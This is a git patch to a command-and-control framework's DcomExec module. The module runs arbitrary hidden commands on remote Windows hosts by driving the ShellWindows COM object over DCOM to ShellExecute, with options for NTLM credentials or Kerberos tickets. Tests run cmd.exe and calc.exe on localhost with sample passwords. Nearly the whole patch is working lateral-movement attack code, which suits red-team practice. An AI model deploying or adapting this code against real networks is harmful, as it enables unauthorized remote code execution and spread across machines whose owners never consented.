From 605ccbf041f77fcb27ff1afe2ea8197ec61fbfdc Mon Sep 17 00:00:00 2001 From: Maxime dcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 29 Oct 2025 11:39:25 +0100 Subject: [PATCH] DCOM ok --- modules/DcomExec/DcomExec.cpp | 609 ++++++++++++++++++++--- modules/DcomExec/DcomExec.hpp | 7 +- modules/DcomExec/tests/testsDcomExec.cpp | 100 +++- modules/WinRM/tests/testsWinRM.cpp | 12 + 4 files changed, 637 insertions(+), 91 deletions(-) diff --git a/modules/DcomExec/DcomExec.cpp b/modules/DcomExec/DcomExec.cpp index 63d0c45..88b9dd3 100644 --- a/modules/DcomExec/DcomExec.cpp +++ b/modules/DcomExec/DcomExec.cpp @@ -41,24 +41,32 @@ DcomExec::DcomExec() DcomExec::~DcomExec() = default; + +// DCOM/RPC connectivity (TCP 135 + dynamic RPC high ports) std::string DcomExec::getInfo() { std::ostringstream oss; #ifdef BUILD_TEAMSERVER oss << "DCOM Execution Module:\n"; - oss << "Trigger remote COM objects to execute commands." << '\n'; + oss << "Trigger remote COM objects to execute commands using ShellWindows {9BA05972-F6A8-11CF-A442-00A0C90A8F39}." << '\n'; oss << "Options:" << '\n'; oss << " -h Remote hostname or IP." << '\n'; - oss << " -p COM ProgID (default MMC20.Application)." << '\n'; - oss << " -c Command to execute." << '\n'; - oss << " -a Arguments for the command." << '\n'; - oss << " -w Working directory." << '\n'; + oss << " -c Command to execute." << '\n'; + oss << " -a Arguments for the command." << '\n'; + oss << " -w Working directory." << '\n'; + oss << " -k SPN to request for Kerberos (e.g. HOST/fqdn)." << '\n'; + oss << " -u Username for explicit credentials." << '\n'; + oss << " -p Password for explicit credentials." << '\n'; + oss << " -n No cred, for local use." << '\n'; oss << "Example:" << '\n'; - oss << " dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"" << '\n'; + oss << " dcomExec -h fileserver -k HOST/fileserver.domain -u DOMAIN\\\\user -p Passw0rd -c cmd.exe -a \"/c whoami\"" << '\n'; + oss << " dcomExec -h fileserver -c cmd.exe -a \"/c whoami\"\n"; #endif return oss.str(); } + +// packParameters() — append new fields (spn, username, password, noPassword flag) std::string DcomExec::packParameters(const Parameters& params) const { std::string packed; @@ -73,9 +81,20 @@ std::string DcomExec::packParameters(const Parameters& params) const append(params.command); append(params.arguments); append(params.workingDir); + + // new fields + append(params.spn); + append(params.username); + append(params.password); + + // store noPassword as "1" or "0" + append(params.noPassword ? "1" : "0"); + return packed; } + +// unpackParameters() — read back the added fields DcomExec::Parameters DcomExec::unpackParameters(const std::string& data) const { Parameters params; @@ -92,7 +111,9 @@ DcomExec::Parameters DcomExec::unpackParameters(const std::string& data) const start = end + 1; } - if (parts.size() < 5) + // we now expect at least 9 parts: + // hostname, progId, command, arguments, workingDir, spn, username, password, noPassword + if (parts.size() < 9) { return params; } @@ -102,15 +123,22 @@ DcomExec::Parameters DcomExec::unpackParameters(const std::string& data) const params.command = parts[2]; params.arguments = parts[3]; params.workingDir = parts[4]; + + // new fields + params.spn = parts[5]; + params.username = parts[6]; + params.password = parts[7]; + params.noPassword = (parts[8] == "1"); + return params; } + int DcomExec::init(std::vector& splitedCmd, C2Message& c2Message) { -#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) +#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) || defined(C2CORE_BUILD_TESTS) std::vector args = regroupStrings(splitedCmd); Parameters params; - params.progId = "MMC20.Application"; if (args.size() < 2) { @@ -118,6 +146,8 @@ int DcomExec::init(std::vector& splitedCmd, C2Message& c2Message) return -1; } + params.noPassword=false; + for (size_t i = 1; i < args.size(); ++i) { const std::string& current = args[i]; @@ -125,10 +155,6 @@ int DcomExec::init(std::vector& splitedCmd, C2Message& c2Message) { params.hostname = args[++i]; } - else if (current == "-p" && i + 1 < args.size()) - { - params.progId = args[++i]; - } else if (current == "-c" && i + 1 < args.size()) { params.command = args[++i]; @@ -141,6 +167,24 @@ int DcomExec::init(std::vector& splitedCmd, C2Message& c2Message) { params.workingDir = args[++i]; } + else if (current == "-k" && i + 1 < args.size()) + { + params.spn = args[++i]; + } + else if (current == "-u" && i + 1 < args.size()) + { + params.username = args[++i]; + } + else if (current == "-p" && i + 1 < args.size()) + { + params.password = args[++i]; + } + else if (current == "-n") + { + // no cred use + params.noPassword = true; + } + // fallback: positional args (hostname, command, arguments) else if (!current.empty() && current[0] != '-') { if (params.hostname.empty()) @@ -158,42 +202,93 @@ int DcomExec::init(std::vector& splitedCmd, C2Message& c2Message) } } + // Basic validation if (params.hostname.empty() || params.command.empty()) { c2Message.set_returnvalue("Missing hostname or command.\n" + getInfo()); return -1; } + // Credential validation rules: + // - If username provided: + // - If noPassword == false and password empty => error (we expect -p) + // - If noPassword == true => ok (we will not send password; client likely wants to use ticket or blank password) + // - If password provided without username => error + if (!params.username.empty()) + { + if (!params.noPassword && params.password.empty()) + { + c2Message.set_returnvalue("Username provided but no password (-p) and -n not set.\n" + getInfo()); + return -1; + } + } + else + { + // username empty + if (!params.password.empty()) + { + c2Message.set_returnvalue("Password supplied (-p) but no username (-u).\n" + getInfo()); + return -1; + } + } + + // store instruction + packed params c2Message.set_instruction(splitedCmd[0]); c2Message.set_cmd(packParameters(params)); #endif return 0; } + int DcomExec::process(C2Message& c2Message, C2Message& c2RetMessage) { Parameters params = unpackParameters(c2Message.cmd()); std::string result; + bool error = 0; #ifdef _WIN32 - result = executeRemote(params); + error = executeRemote(params, result); #else - (void)params; - result = "DCOM execution is only supported on Windows.\n"; + result = "Oly supported on Windows.\n"; #endif + if(error) + c2RetMessage.set_errorCode(error); + c2RetMessage.set_instruction(c2Message.instruction()); c2RetMessage.set_cmd(c2Message.cmd()); c2RetMessage.set_returnvalue(result); return 0; } + +#define ERROR_SUCCESS 0 +#define ERROR_COINIT_FAILED 1 +#define ERROR_CLSIDFROMSTRING_FAILED 2 +#define ERROR_COCREATEINSTANCE_FAILED 3 +#define ERROR_GETIDS_ITEM_FAILED 4 +#define ERROR_INVOKE_ITEM_FAILED 5 +#define ERROR_GETIDS_DOCUMENT_FAILED 6 +#define ERROR_INVOKE_DOCUMENT_FAILED 7 +#define ERROR_GETIDS_APPLICATION_FAILED 8 +#define ERROR_INVOKE_APPLICATION_FAILED 9 +#define ERROR_GETIDS_SHELLEXECUTE_FAILED 10 +#define ERROR_INVOKE_SHELLEXECUTE_FAILED 11 + + int DcomExec::errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) { - errorMsg = c2RetMessage.returnvalue(); +#ifdef BUILD_TEAMSERVER + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + errorMsg = c2RetMessage.returnvalue(); + } +#endif return 0; } + #ifdef _WIN32 namespace { @@ -213,39 +308,196 @@ namespace { _com_error err(hr); std::ostringstream oss; - oss << "HRESULT 0x" << std::hex << std::uppercase << hr << ": " << err.ErrorMessage(); + oss << "0x" << std::hex << std::uppercase << hr << ": " << err.ErrorMessage(); return oss.str(); } + + static COAUTHIDENTITY* MakeAuthIdentityW(const std::wstring& user, const std::wstring& domain, const std::wstring& pass) + { + COAUTHIDENTITY* p = (COAUTHIDENTITY*)CoTaskMemAlloc(sizeof(COAUTHIDENTITY)); + if (!p) return nullptr; + ZeroMemory(p, sizeof(*p)); + // NOTE: CoTaskMemAlloc used so it can be freed with CoTaskMemFree + p->User = (USHORT*)CoTaskMemAlloc((user.size()+1) * sizeof(wchar_t)); + p->Domain = (USHORT*)CoTaskMemAlloc((domain.size()+1) * sizeof(wchar_t)); + p->Password = (USHORT*)CoTaskMemAlloc((pass.size()+1) * sizeof(wchar_t)); + if (!p->User || !p->Domain || !p->Password) { + if (p->User) CoTaskMemFree(p->User); + if (p->Domain) CoTaskMemFree(p->Domain); + if (p->Password) CoTaskMemFree(p->Password); + CoTaskMemFree(p); + return nullptr; + } + wcscpy_s((wchar_t*)p->User, user.size()+1, user.c_str()); + wcscpy_s((wchar_t*)p->Domain, domain.size()+1, domain.c_str()); + wcscpy_s((wchar_t*)p->Password, pass.size()+1, pass.c_str()); + p->UserLength = (ULONG)user.size(); + p->DomainLength = (ULONG)domain.size(); + p->PasswordLength = (ULONG)pass.size(); + p->Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE; + return p; + } + + void FreeAuthIdentity(COAUTHIDENTITY* p) + { + if (!p) return; + if (p->User) CoTaskMemFree(p->User); + if (p->Domain) CoTaskMemFree(p->Domain); + if (p->Password) CoTaskMemFree(p->Password); + CoTaskMemFree(p); + } } -std::string DcomExec::executeRemote(const Parameters& params) const -{ - std::ostringstream oss; - HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED); +// +-------------------------------------------------------------+ +// | CLSID_ShellWindows ({9BA05972-F6A8-11CF-A442-00A0C90A8F39}) | +// | → IDispatch interface (returned by CoCreateInstanceEx) | +// +-------------------------------------------------------------+ +// │ +// ▼ +// .Item(index = 0) +// │ +// ▼ +// +----------------+----------------+ +// | IDispatch for Shell Window | +// | (represents a single Explorer | +// | or IE window instance) | +// +---------------------------------+ +// │ +// ▼ +// .Document property +// │ +// ▼ +// +----------------+----------------+ +// | IDispatch for Document object | +// | (represents the loaded content | +// | or folder view) | +// +---------------------------------+ +// │ +// ▼ +// .Application property +// │ +// ▼ +// +----------------+----------------+ +// | IDispatch for Application | +// | (represents the top-level | +// | shell application instance, | +// | exposes Shell automation API) | +// +---------------------------------+ +// │ +// ▼ +// .ShellExecute(file, args, dir, op, show) +// │ +// ▼ +// Executes the remote command on the target + +// https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ +int DcomExec::executeRemote(const Parameters& params, std::string& result) const +{ + DWORD authnSvc = RPC_C_AUTHN_NONE; // RPC_C_AUTHN_GSS_KERBEROS or RPC_C_AUTHN_WINNT + bool useToken = false; // use current process token / Kerberos ticket + bool useNTLM = false; // use explicit username/password (NTLM or Kerberos based on authnSvc) + std::wstring spn; // SPN to use (may be empty) + std::wstring domainW; + std::wstring userW; + std::wstring passW; + + bool usernameProvided = !params.username.empty(); + bool passwordProvided = !params.password.empty(); + bool noPassword = params.noPassword; // -n + + std::cout << "noPassword " << noPassword << std::endl; + + spn = std::wstring(params.spn.begin(), params.spn.end()); // copy SPN to wide string for CoSetProxyBlanket later + + // Case 1: explicit username + password -> use explicit creds (NTLM) + if (usernameProvided && passwordProvided) + { + useNTLM = true; + useToken = false; + authnSvc = RPC_C_AUTHN_WINNT; // explicit credential path (NTLM) — SSPI may pick Kerberos if appropriate, but WinNT forces NTLM + // split username into domain\user if user passed with backslash? + domainW = L""; + userW = std::wstring(params.username.begin(), params.username.end()); + + // If user provided as "DOMAIN\\user", split + size_t pos = userW.find(L'\\'); + if (pos != std::wstring::npos) + { + domainW = userW.substr(0, pos); + userW = userW.substr(pos + 1); + } + else + { + // fallback domain provided by params? You might have a separate domain parameter; assume local machine if not set. + domainW = L""; + } + + passW = std::wstring(params.password.begin(), params.password.end()); + } + + // Case 2: username provided but no password (and -n set) -> treat as "use token instead of sending password" + if (usernameProvided && !passwordProvided) + { + // user asked not to send a password. We'll rely on current credentials (Kerberos) and optionally supply the username to server + // Implementation choice: we do not send pAuthIdentity, we let current token/SSPI handle auth. Still copy SPN if given. + useToken = true; + useNTLM = false; + authnSvc = RPC_C_AUTHN_GSS_KERBEROS; // prefer Kerberos + + } + + // Case 3: no cred provided + if (noPassword) + { + useToken = false; + useNTLM = false; + } + + + HRESULT hr; bool needUninit = false; + result.clear(); + + // Initialize COM + hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED); if (SUCCEEDED(hr)) { needUninit = true; } else if (hr != RPC_E_CHANGED_MODE) { - return "CoInitializeEx failed: " + formatHResult(hr) + "\n"; + result = formatHResult(hr); + return ERROR_COINIT_FAILED; } - CComPtr unknown; + // Optional (recommended): set process-wide defaults before doing remote calls + // Note: call this once (and before CoCreateInstanceEx ideally) + CoInitializeSecurity( + nullptr, // pSecDesc + -1, // cAuthSvc + nullptr, // asAuthSvc + nullptr, // pReserved1 + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // RPC_C_AUTHN_LEVEL + RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL + nullptr, // pAuthList (use default) + EOAC_NONE, // dwCapabilities , shoult it be EOAC_MUTUAL_AUTH | EOAC_SECURE_REFS for kerberos ?? + nullptr // pReserved3 + ); + + // Convert CLSID CLSID clsid; - std::wstring progIdWide = toWide(params.progId); - hr = CLSIDFromProgID(progIdWide.c_str(), &clsid); + // CLSID_ShellWindows + std::wstring clsidStr = L"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"; + hr = CLSIDFromString((LPOLESTR)clsidStr.c_str(), &clsid); if (FAILED(hr)) { - if (needUninit) - { - CoUninitialize(); - } - return "CLSIDFromProgID failed: " + formatHResult(hr) + "\n"; + result = formatHResult(hr); + if (needUninit) CoUninitialize(); + return ERROR_CLSIDFROMSTRING_FAILED; } + // Server info std::wstring hostnameWide = toWide(params.hostname); COSERVERINFO serverInfo = {}; serverInfo.pwszName = hostnameWide.empty() ? nullptr : const_cast(hostnameWide.c_str()); @@ -255,78 +507,269 @@ std::string DcomExec::executeRemote(const Parameters& params) const mqi.pItf = nullptr; mqi.hr = 0; + // Create remote COM object hr = CoCreateInstanceEx(clsid, nullptr, CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER, serverInfo.pwszName ? &serverInfo : nullptr, 1, &mqi); if (FAILED(hr) || FAILED(mqi.hr)) { - if (needUninit) - { - CoUninitialize(); - } - return "CoCreateInstanceEx failed: " + formatHResult(FAILED(hr) ? hr : mqi.hr) + "\n"; + result = formatHResult(FAILED(hr) ? hr : mqi.hr); + if (needUninit) CoUninitialize(); + return ERROR_COCREATEINSTANCE_FAILED; } CComPtr dispatch; dispatch.Attach(static_cast(mqi.pItf)); + if(useNTLM) + { + // Prepare COAUTHIDENTITY and COAUTHINFO (Unicode preferred) + COAUTHIDENTITY* pAuthId = MakeAuthIdentityW(userW, domainW, passW); + COAUTHINFO authInfo = {}; + authInfo.dwAuthnSvc = authnSvc; // or RPC_C_AUTHN_GSS_KERBEROS if needed + authInfo.dwAuthzSvc = RPC_C_AUTHZ_NONE; + authInfo.dwAuthnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY; + authInfo.dwImpersonationLevel = RPC_C_IMP_LEVEL_IMPERSONATE; + authInfo.pAuthIdentityData = pAuthId; + authInfo.dwCapabilities = EOAC_SECURE_REFS; + + + // Set security on the proxy (so subsequent calls use desired level) + hr = CoSetProxyBlanket( + dispatch, // proxy + RPC_C_AUTHN_WINNT, // authn svc (NTLM) + RPC_C_AUTHZ_NONE, // authz svc + nullptr, // server principal name (use default/search) + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, // authn level + RPC_C_IMP_LEVEL_IMPERSONATE, // impersonation level + pAuthId, // auth identity (or nullptr to use current token) + EOAC_NONE // capabilities + ); + + if (FAILED(hr)) + { + if (needUninit) CoUninitialize(); + FreeAuthIdentity(pAuthId); + result = formatHResult(hr); + return -1000; + } + + FreeAuthIdentity(pAuthId); + } + else if(useToken) + { + // Choose authn service: explicit Kerberos or Negotiate (let SSPI choose) + const DWORD authnSvc = authnSvc; // explicit Kerberos + // const DWORD authnSvc = RPC_C_AUTHN_DEFAULT; // or Negotiate + + const DWORD authzSvc = RPC_C_AUTHZ_NONE; + // Server principal name (SPN) - recommended to help SSPI pick the correct ticket. + // Example SPNs: L"HOST/host.fqdn", L"HOST/shortname", L"HTTP/service.host", etc. + LPCWSTR pszServerPrincName = spn.empty() ? nullptr : spn.c_str(); + + // Authentication level and impersonation + const DWORD authnLevel = RPC_C_AUTHN_LEVEL_PKT_PRIVACY; // strong + bool needDelegation = 0; + const DWORD impLevel = needDelegation ? RPC_C_IMP_LEVEL_DELEGATE : RPC_C_IMP_LEVEL_IMPERSONATE; + + // pAuthInfo == nullptr -> use current process/thread credentials (Kerberos TGT) + // pAuthIdentity == nullptr since we want the current token / SSPI to supply creds + HRESULT hr = CoSetProxyBlanket( + dispatch, // proxy + authnSvc, // RPC_C_AUTHN_GSS_KERBEROS (Kerberos) + authzSvc, // RPC_C_AUTHZ_NONE + const_cast(pszServerPrincName), // server principal name (SPN) or nullptr + authnLevel, // authentication level + impLevel, // impersonation level (DELEGATE if needed) + nullptr, // pAuthInfo (NULL -> use current credentials) + EOAC_MUTUAL_AUTH | EOAC_SECURE_REFS // capabilities; add EOAC_MUTUAL_AUTH to require mutual auth + ); + + return hr; + } + + // Get "Item" DISPID dispid; - OLECHAR* methodName = const_cast(L"ExecuteShellCommand"); + OLECHAR* methodName = const_cast(L"Item"); hr = dispatch->GetIDsOfNames(IID_NULL, &methodName, 1, LOCALE_USER_DEFAULT, &dispid); if (FAILED(hr)) { - if (needUninit) - { - CoUninitialize(); - } - return "GetIDsOfNames failed: " + formatHResult(hr) + "\n"; + result = formatHResult(hr); + if (needUninit) CoUninitialize(); + return ERROR_GETIDS_ITEM_FAILED; } - VARIANT args[4]; - VariantInit(&args[0]); - VariantInit(&args[1]); - VariantInit(&args[2]); - VariantInit(&args[3]); + int itemIndex = 0; + VARIANT idx; VariantInit(&idx); + idx.vt = VT_I4; idx.lVal = itemIndex; + DISPPARAMS dpItem = { &idx, nullptr, 1, 0 }; - std::wstring commandWide = toWide(params.command); - std::wstring argsWide = toWide(params.arguments); - std::wstring workDirWide = toWide(params.workingDir); - - args[3].vt = VT_BSTR; // Command - args[3].bstrVal = SysAllocString(commandWide.c_str()); - - args[2].vt = VT_BSTR; // Parameters - args[2].bstrVal = SysAllocString(argsWide.c_str()); - - args[1].vt = VT_BSTR; // Working directory - args[1].bstrVal = SysAllocString(workDirWide.c_str()); - - args[0].vt = VT_BSTR; // Operation - args[0].bstrVal = SysAllocString(L"Open"); - - DISPPARAMS dispParams; - dispParams.rgvarg = args; - dispParams.cArgs = 4; - dispParams.cNamedArgs = 0; - dispParams.rgdispidNamedArgs = nullptr; - - hr = dispatch->Invoke(dispid, IID_NULL, LOCALE_USER_DEFAULT, DISPATCH_METHOD, &dispParams, nullptr, nullptr, nullptr); - - for (VARIANT& variant : args) - { - VariantClear(&variant); - } - - if (needUninit) - { - CoUninitialize(); - } + VARIANT vWindow; VariantInit(&vWindow); + hr = dispatch->Invoke(dispid, IID_NULL, LOCALE_USER_DEFAULT, + DISPATCH_METHOD | DISPATCH_PROPERTYGET, + &dpItem, &vWindow, nullptr, nullptr); + VariantClear(&idx); if (FAILED(hr)) { - return "Invoke failed: " + formatHResult(hr) + "\n"; + result = formatHResult(hr); + if (needUninit) CoUninitialize(); + return ERROR_INVOKE_ITEM_FAILED; } - oss << "Command dispatched to " << params.hostname << " using " << params.progId << "\n"; - return oss.str(); + IDispatch* windowDisp = vWindow.pdispVal; + + // Get "Document" + DISPID dispidDocument; + OLECHAR* nameDocument = const_cast(L"Document"); + hr = windowDisp->GetIDsOfNames(IID_NULL, &nameDocument, 1, LOCALE_USER_DEFAULT, &dispidDocument); + if (FAILED(hr)) + { + result = formatHResult(hr); + windowDisp->Release(); + if (needUninit) CoUninitialize(); + return ERROR_GETIDS_DOCUMENT_FAILED; + } + + VARIANT vDoc; VariantInit(&vDoc); + DISPPARAMS dpNoArgs = { nullptr, nullptr, 0, 0 }; + hr = windowDisp->Invoke(dispidDocument, IID_NULL, LOCALE_USER_DEFAULT, + DISPATCH_PROPERTYGET, &dpNoArgs, &vDoc, nullptr, nullptr); + windowDisp->Release(); + + if (FAILED(hr)) + { + result = formatHResult(hr); + if (needUninit) CoUninitialize(); + return ERROR_INVOKE_DOCUMENT_FAILED; + } + + IDispatch* docDisp = vDoc.pdispVal; + + // Get "Application" + DISPID dispidApplication; + OLECHAR* nameApplication = const_cast(L"Application"); + hr = docDisp->GetIDsOfNames(IID_NULL, &nameApplication, 1, LOCALE_USER_DEFAULT, &dispidApplication); + if (FAILED(hr)) + { + result = formatHResult(hr); + docDisp->Release(); + if (needUninit) CoUninitialize(); + return ERROR_GETIDS_APPLICATION_FAILED; + } + + VARIANT vApp; VariantInit(&vApp); + hr = docDisp->Invoke(dispidApplication, IID_NULL, LOCALE_USER_DEFAULT, + DISPATCH_PROPERTYGET, &dpNoArgs, &vApp, nullptr, nullptr); + docDisp->Release(); + + if (FAILED(hr)) + { + result = formatHResult(hr); + if (needUninit) CoUninitialize(); + return ERROR_INVOKE_APPLICATION_FAILED; + } + + IDispatch* appDisp = vApp.pdispVal; + + // Get "ShellExecute" + DISPID dispidShellExecute; + OLECHAR* nameShellExecute = const_cast(L"ShellExecute"); + hr = appDisp->GetIDsOfNames(IID_NULL, &nameShellExecute, 1, LOCALE_USER_DEFAULT, &dispidShellExecute); + if (FAILED(hr)) + { + result = formatHResult(hr); + appDisp->Release(); + if (needUninit) CoUninitialize(); + return ERROR_GETIDS_SHELLEXECUTE_FAILED; + } + + // Prepare ShellExecute args + VARIANT args[5]; + for (int i = 0; i < 5; ++i) VariantInit(&args[i]); + args[0].vt = VT_I4; args[0].lVal = SW_HIDE; + args[1].vt = VT_BSTR; args[1].bstrVal = SysAllocString(L"open"); + args[2].vt = VT_BSTR; args[2].bstrVal = SysAllocString(toWide(params.workingDir).c_str()); + args[3].vt = VT_BSTR; args[3].bstrVal = SysAllocString(toWide(params.arguments).c_str()); + args[4].vt = VT_BSTR; args[4].bstrVal = SysAllocString(toWide(params.command).c_str()); + + DISPPARAMS dp = { args, nullptr, 5, 0 }; + VARIANT vResult; VariantInit(&vResult); + EXCEPINFO exInfo = {}; + UINT argErr = (UINT)-1; + + hr = appDisp->Invoke(dispidShellExecute, IID_NULL, LOCALE_USER_DEFAULT, + DISPATCH_METHOD, &dp, &vResult, &exInfo, &argErr); + + for (int i = 0; i < 5; ++i) VariantClear(&args[i]); + VariantClear(&vResult); + appDisp->Release(); + + if (FAILED(hr)) + { + result = formatHResult(hr); + if (needUninit) CoUninitialize(); + return ERROR_INVOKE_SHELLEXECUTE_FAILED; + } + + if (needUninit) + CoUninitialize(); + + result = "Success"; + return ERROR_SUCCESS; } + #endif + + +// +// CLSID from progID +// + +// CLSID clsid; +// std::wstring progIdWide = toWide(params.progId); +// hr = CLSIDFromProgID(progIdWide.c_str(), &clsid); +// if (FAILED(hr)) +// { +// if (needUninit) +// { +// CoUninitialize(); +// } +// return "CLSIDFromProgID failed: " + formatHResult(hr) + "\n"; +// } + +// +// Enum +// + +// CComPtr pTypeInfo; +// hr = dispatch->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pTypeInfo); +// if (SUCCEEDED(hr) && pTypeInfo) { +// TYPEATTR* pAttr = nullptr; +// hr = pTypeInfo->GetTypeAttr(&pAttr); +// if (SUCCEEDED(hr) && pAttr) { +// for (UINT i = 0; i < pAttr->cFuncs; ++i) { +// FUNCDESC* pFuncDesc = nullptr; +// if (SUCCEEDED(pTypeInfo->GetFuncDesc(i, &pFuncDesc))) { +// UINT cNames = 0; +// // first call GetNames to learn the name(s) for this memid +// BSTR* names = nullptr; +// // GetNames will allocate the BSTRs into caller supplied array. +// // We don't know how many names, but GetNames returns the count. +// // Here we allocate a safe array of size 16 for names: +// names = (BSTR*)CoTaskMemAlloc(sizeof(BSTR) * 16); +// if (names) { +// hr = pTypeInfo->GetNames(pFuncDesc->memid, names, 16, &cNames); +// if (SUCCEEDED(hr)) { +// for (UINT n = 0; n < cNames; ++n) { +// wprintf(L"Name: %s\n", names[n]); +// SysFreeString(names[n]); +// } +// } +// CoTaskMemFree(names); +// } +// pTypeInfo->ReleaseFuncDesc(pFuncDesc); +// } +// } +// pTypeInfo->ReleaseTypeAttr(pAttr); +// } +// } \ No newline at end of file diff --git a/modules/DcomExec/DcomExec.hpp b/modules/DcomExec/DcomExec.hpp index 598f870..cc4cfe3 100644 --- a/modules/DcomExec/DcomExec.hpp +++ b/modules/DcomExec/DcomExec.hpp @@ -30,13 +30,17 @@ private: std::string command; std::string arguments; std::string workingDir; + std::string spn; + std::string username; + std::string password; + bool noPassword; }; std::string packParameters(const Parameters& params) const; Parameters unpackParameters(const std::string& data) const; #ifdef _WIN32 - std::string executeRemote(const Parameters& params) const; + int executeRemote(const Parameters& params, std::string& result) const; #endif }; @@ -45,3 +49,4 @@ extern "C" __declspec(dllexport) DcomExec* DcomExecConstructor(); #else extern "C" __attribute__((visibility("default"))) DcomExec* DcomExecConstructor(); #endif + diff --git a/modules/DcomExec/tests/testsDcomExec.cpp b/modules/DcomExec/tests/testsDcomExec.cpp index c0a35e9..f415fc5 100644 --- a/modules/DcomExec/tests/testsDcomExec.cpp +++ b/modules/DcomExec/tests/testsDcomExec.cpp @@ -6,14 +6,100 @@ int main() { - std::unique_ptr module = std::make_unique(); - std::vector cmd = {"dcomExec", "-h", "localhost", "-c", "cmd.exe", "-a", "/c whoami"}; - C2Message message; - C2Message ret; + { + std::unique_ptr module = std::make_unique(); + std::vector cmd = {"dcomExec", "-h", "localhost", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln\\Desktop\\dcom_test1.txt\""}; + C2Message message; + C2Message ret; - module->init(cmd, message); - module->process(message, ret); + module->init(cmd, message); + module->process(message, ret); - std::cout << ret.returnvalue() << std::endl; + std::string err; + module->errorCodeToMsg(ret, err); + + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; + } + { + std::unique_ptr module = std::make_unique(); + std::vector cmd = {"dcomExec", "-h", "localhost", "-c", "cmd.exe", "-a", "/c calc.exe"}; + C2Message message; + C2Message ret; + + module->init(cmd, message); + module->process(message, ret); + + std::string err; + module->errorCodeToMsg(ret, err); + + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; + } + { + std::unique_ptr module = std::make_unique(); + std::vector cmd = {"dcomExec", "-h", "localhost", "-u", "root", "-p", "root", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln\\Desktop\\dcom_test2.txt\""}; + C2Message message; + C2Message ret; + + module->init(cmd, message); + module->process(message, ret); + + std::string err; + module->errorCodeToMsg(ret, err); + + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; + } + { + std::unique_ptr module = std::make_unique(); + std::vector cmd = {"dcomExec", "-h", "localhost", "-u", "root", "-p", "toor", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln\\Desktop\\dcom_test2.txt\""}; + C2Message message; + C2Message ret; + + module->init(cmd, message); + module->process(message, ret); + + std::string err; + module->errorCodeToMsg(ret, err); + + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; + } + { + std::unique_ptr module = std::make_unique(); + std::vector cmd = {"dcomExec", "-h", "localhost", "-k", "host/DESKTOP-0HOG7VE", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln\\Desktop\\dcom_test3.txt\""}; + C2Message message; + C2Message ret; + + module->init(cmd, message); + module->process(message, ret); + + std::string err; + module->errorCodeToMsg(ret, err); + + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; + } + { + std::unique_ptr module = std::make_unique(); + std::vector cmd = {"dcomExec", "-h", "localhost", "-n", "-c", "cmd.exe", "-a", "\"/c", "echo", "ran", ">", "C:\\Users\\vuln\\Desktop\\dcom_test4.txt\""}; + C2Message message; + C2Message ret; + + module->init(cmd, message); + module->process(message, ret); + + std::string err; + module->errorCodeToMsg(ret, err); + + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; + } + + std::cout << "Finished" << std::endl; return 0; } + + + diff --git a/modules/WinRM/tests/testsWinRM.cpp b/modules/WinRM/tests/testsWinRM.cpp index f0f477d..72d613b 100644 --- a/modules/WinRM/tests/testsWinRM.cpp +++ b/modules/WinRM/tests/testsWinRM.cpp @@ -15,7 +15,11 @@ int main() module->init(cmd, message); module->process(message, ret); + std::string err; + module->errorCodeToMsg(ret, err); + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; } { std::unique_ptr module = std::make_unique(); @@ -26,7 +30,11 @@ int main() module->init(cmd, message); module->process(message, ret); + std::string err; + module->errorCodeToMsg(ret, err); + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; } { std::unique_ptr module = std::make_unique(); @@ -37,7 +45,11 @@ int main() module->init(cmd, message); module->process(message, ret); + std::string err; + module->errorCodeToMsg(ret, err); + std::cout << ret.returnvalue() << std::endl; + std::cerr << err << std::endl; } return 0;